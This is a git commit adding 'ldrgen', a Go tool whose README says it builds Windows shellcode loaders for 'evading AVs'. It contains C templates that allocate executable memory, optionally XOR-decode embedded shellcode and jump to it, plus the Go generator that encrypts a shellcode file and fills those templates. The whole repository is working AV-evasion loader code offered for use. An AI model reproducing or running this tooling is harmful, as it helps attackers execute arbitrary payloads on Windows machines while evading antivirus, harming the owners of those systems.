Initial commit

This commit is contained in:
gatari
2023-12-27 04:19:37 +08:00
commit 91042431fa
16 changed files with 394 additions and 0 deletions
+2
View File
@@ -0,0 +1,2 @@
# Auto detect text files and perform LF normalization
* text=auto
+28
View File
@@ -0,0 +1,28 @@
# ldrgen
ldrgen is a golang cli tool to generate shellcode loaders
## Usage
```
go build .
./ldrgen -h
```
## Why?
sometimes you want a quick and dirty solution for evading AVs, and encrypting shellcode doesn't fit in your workflow.
## How?
1. generate your shellcode
![generate shellcode](./assets/3e27d7894ec76ece20e41fd290df7ded.png)
2. `./ldr -b <bin_path> -o <out_file> -ldr <loader_type> -enc <encryption_type> -key <encryption_key>`
![generate loader](./assets/beb0f93fce10788ff4fafa558c7bec54.png)
3. loader source code will be generated in `out_file`
![loader source code](./assets/d76dc3645cf50997bf17ba2c28ed3565.png)
4. compile & run the loader
![run](./assets/bad05d44ec8a4ad5b361d0e5eb3bf2a3.png)
5. profit?
![profit](./assets/c2f1fd7a899c87ffd61303b6d46a6e2b.png)
Binary file not shown.
+8
View File
@@ -0,0 +1,8 @@
#ifndef shellcode_h
#define shellcode_h
#include <windows.h>
extern unsigned char shellcode[];
extern size_t shellcode_size;
#endif
+7
View File
@@ -0,0 +1,7 @@
#ifndef xor_h
#define xor_h
#include <windows.h>
void xorShellcode(unsigned char* shellcode, size_t shellcodeSize, const char* key);
#endif
+18
View File
@@ -0,0 +1,18 @@
#include "Shellcode.h"
/*
Externally defined shellcode variables:
{
unsigned char shellcode[];
unsigned int shellcode_size;
}
*/
#include <windows.h>
int main( int argc, char *argv[] ) {
void *exec = VirtualAlloc( 0, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
memcpy( exec, shellcode, shellcode_size );
( (void ( * )())exec )();
return 0;
}
+3
View File
@@ -0,0 +1,3 @@
// Don't touch this file!
unsigned char shellcode[] = ${SHELLCODE};
unsigned int shellcode_size = ${SHELLCODE_SIZE};
+10
View File
@@ -0,0 +1,10 @@
#include <string.h>
#include <windows.h>
void xorShellcode(unsigned char* shellcode, size_t shellcodeSize, const char* key) {
size_t keyLen = strlen(key);
for (size_t i = 0; i < shellcodeSize; ++i) {
shellcode[i] ^= key[i % keyLen];
}
}
+31
View File
@@ -0,0 +1,31 @@
#include "Shellcode.h"
/*
Externally defined shellcode variables:
{
unsigned char shellcode[];
unsigned int shellcode_size;
}
*/
#include "Xor.h"
/*
Externally defined xorShellcode function:
{
void xorShellcode(unsigned char *shellcode, unsigned int shellcode_size, unsigned char key);
}
*/
#include <windows.h>
int main( int argc, char *argv[] ) {
void *exec = VirtualAlloc( 0, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
xorShellcode(shellcode, shellcode_size, "${KEY}");
memcpy( exec, shellcode, shellcode_size );
( (void ( * )())exec )();
return 0;
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.4 KiB

+3
View File
@@ -0,0 +1,3 @@
module ldr
go 1.21.1
+284
View File
@@ -0,0 +1,284 @@
package main
import (
"flag"
"fmt"
"os"
"path/filepath"
"strings"
)
var (
shellcodePath = flag.String("b", "", "Path to shellcode .bin file")
outputPath = flag.String("o", "", "Output folder")
ldrToken = flag.String("ldr", "", "Loader token")
enc = flag.String("enc", "", "Encryption type (optional)")
key = flag.String("key", "", "Encryption key (optional)")
)
func GetAbsFilePath(folderPath, fileName string) (string, error) {
absFolderPath, err := filepath.Abs(strings.TrimSpace(folderPath))
if err != nil {
return "", fmt.Errorf("failed to get absolute path: %v", err)
}
return filepath.Join(absFolderPath, strings.TrimSpace(fileName)), nil
}
func ReadFile(filePath string) (string, error) {
content, err := os.ReadFile(filePath)
if err != nil {
return "", err
}
return string(content), nil
}
func ParseBinaryFile(filePath string) ([]string, error) {
content, err := os.ReadFile(filePath)
if err != nil {
return nil, err
}
var byteArray []string
for _, b := range content {
byteArray = append(byteArray, fmt.Sprintf("0x%02X", b))
}
return byteArray, nil
}
func SaveToFile(folderPath, fileName, content string) error {
filePath, err := GetAbsFilePath(folderPath, fileName)
if err != nil {
return err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
if err := os.MkdirAll(filepath.Dir(filePath), 0o755); err != nil {
return err
}
}
return os.WriteFile(filePath, []byte(content), 0o644)
}
func ToCArray(filePath string) (string, error) {
byteArray, err := ParseBinaryFile(filePath)
if err != nil {
return "", err
}
return fmt.Sprintf("{ %s }", strings.Join(byteArray, ", ")), nil
}
func ProcessShellcodeTemplate(shellcodePath string, args ...string) error {
/*
args[0] - enc type
args[1] - key
*/
if len(args) > 0 {
enc := args[0]
key := args[1]
switch enc {
case "xor":
fmt.Println("[!!!] XORing shellcode with key:", key)
shellcode, err := os.ReadFile(shellcodePath)
if err != nil {
return err
}
/*
sanity check
*/
var byteArray []string
for _, b := range shellcode {
byteArray = append(byteArray, fmt.Sprintf("0x%02X", b))
}
ba := fmt.Sprintf("{ %s }", strings.Join(byteArray, ", "))
fmt.Println("[Sanity Check] Starting bytes (before XOR): ", ba[0:24], "... }")
for i := 0; i < len(shellcode); i++ {
shellcode[i] ^= key[i%len(key)]
}
err = os.WriteFile(shellcodePath+".enc", shellcode, 0o644)
if err != nil {
return err
}
shellcodePath = shellcodePath + ".enc"
fmt.Printf("[*] Encrypted shellcode saved to: %s\n\n", shellcodePath)
default:
fmt.Println("Unknown enc type:", enc)
}
shellcodeArray, err := ToCArray(shellcodePath)
if err != nil {
return err
}
fileInfo, err := os.Stat(shellcodePath)
if err != nil {
return err
}
shellcode_template, err := ReadFile(filepath.Join("Template", "Source/Shellcode.c"))
if err != nil {
return err
}
shellcodeTemplate := strings.ReplaceAll(shellcode_template, "${SHELLCODE}", shellcodeArray)
shellcodeTemplate = strings.ReplaceAll(shellcodeTemplate, "${SHELLCODE_SIZE}", fmt.Sprintf("%d", fileInfo.Size()))
abs, err := filepath.Abs(strings.TrimSpace(*outputPath))
if err != nil {
return err
}
fmt.Println("[*] Saving generated files to:", abs)
fmt.Println("[SHELLCODE] Shellcode size:", fileInfo.Size(), "bytes")
fmt.Println("[SHELLCODE] Starting bytes: ", shellcodeArray[0:24], "... }")
err = SaveToFile(*outputPath, "Shellcode.c", shellcodeTemplate)
if err != nil {
return err
}
fmt.Println("[*] Shellcode.c -> OK")
header_template, err := ReadFile(filepath.Join("Template", "Include/Shellcode.h"))
if err != nil {
return err
}
fmt.Println("[*] Shellcode.h -> OK")
err = SaveToFile(*outputPath, "Shellcode.h", header_template)
if err != nil {
return err
}
return nil
}
return nil
}
func ProcessLoaderTemplate(token string, args ...string) error {
/*
token : ldr (inline, xor_inline)
args[0] - enc type
args[1] - key
*/
var enc string
var key string
if len(args) > 0 {
enc = args[0]
key = args[1]
}
switch token {
case "inline":
fmt.Println("[LDR] Using: VirtualAlloc, memcpy, ((void(*)())exec)();")
ldr, err := ReadFile(filepath.Join("Template", "Source/Function.c"))
if err != nil {
return err
}
err = SaveToFile(*outputPath, "Main.c", ldr)
if err != nil {
return err
}
case "xor_inline":
/*
enc type and key must be passed as args
*/
fmt.Println("[LDR] Using: VirtualAlloc, memcpy, ((void(*)())exec)();")
switch enc {
case "xor":
fmt.Println("[LDR] Using: XOR with key:", key)
ldr, err := ReadFile(filepath.Join("Template", "Source/XorFunction.c"))
if err != nil {
return err
}
ldr = strings.ReplaceAll(ldr, "${KEY}", key)
err = SaveToFile(*outputPath, "Main.c", ldr)
if err != nil {
return err
}
xor, err := ReadFile(filepath.Join("Template", "Source/Xor.c"))
if err != nil {
return err
}
err = SaveToFile(*outputPath, "Xor.c", xor)
if err != nil {
return err
}
xor_h, err := ReadFile(filepath.Join("Template", "Include/Xor.h"))
if err != nil {
return err
}
err = SaveToFile(*outputPath, "Xor.h", xor_h)
if err != nil {
return err
}
default:
fmt.Println("Unknown enc type:", enc)
}
default:
fmt.Println("Unknown token:", token)
}
fmt.Println("[*] Main.c -> OK")
return nil
}
func main() {
/*
const (
shellcodePath = "Template/Bin/Calc.bin"
*outputPath = "Output"
ldrToken = "xor_inline"
enc = "xor"
xorKey = "aaaabbbbccccdddd"
)
*/
flag.Parse()
if *shellcodePath == "" || *outputPath == "" || *ldrToken == "" {
flag.PrintDefaults()
return
}
err := ProcessShellcodeTemplate(*shellcodePath, *enc, *key)
if err != nil {
fmt.Println("Error processing shellcode:", err)
return
}
err = ProcessLoaderTemplate(*ldrToken, *enc, *key)
if err != nil {
fmt.Println("Error processing loader:", err)
return
}
}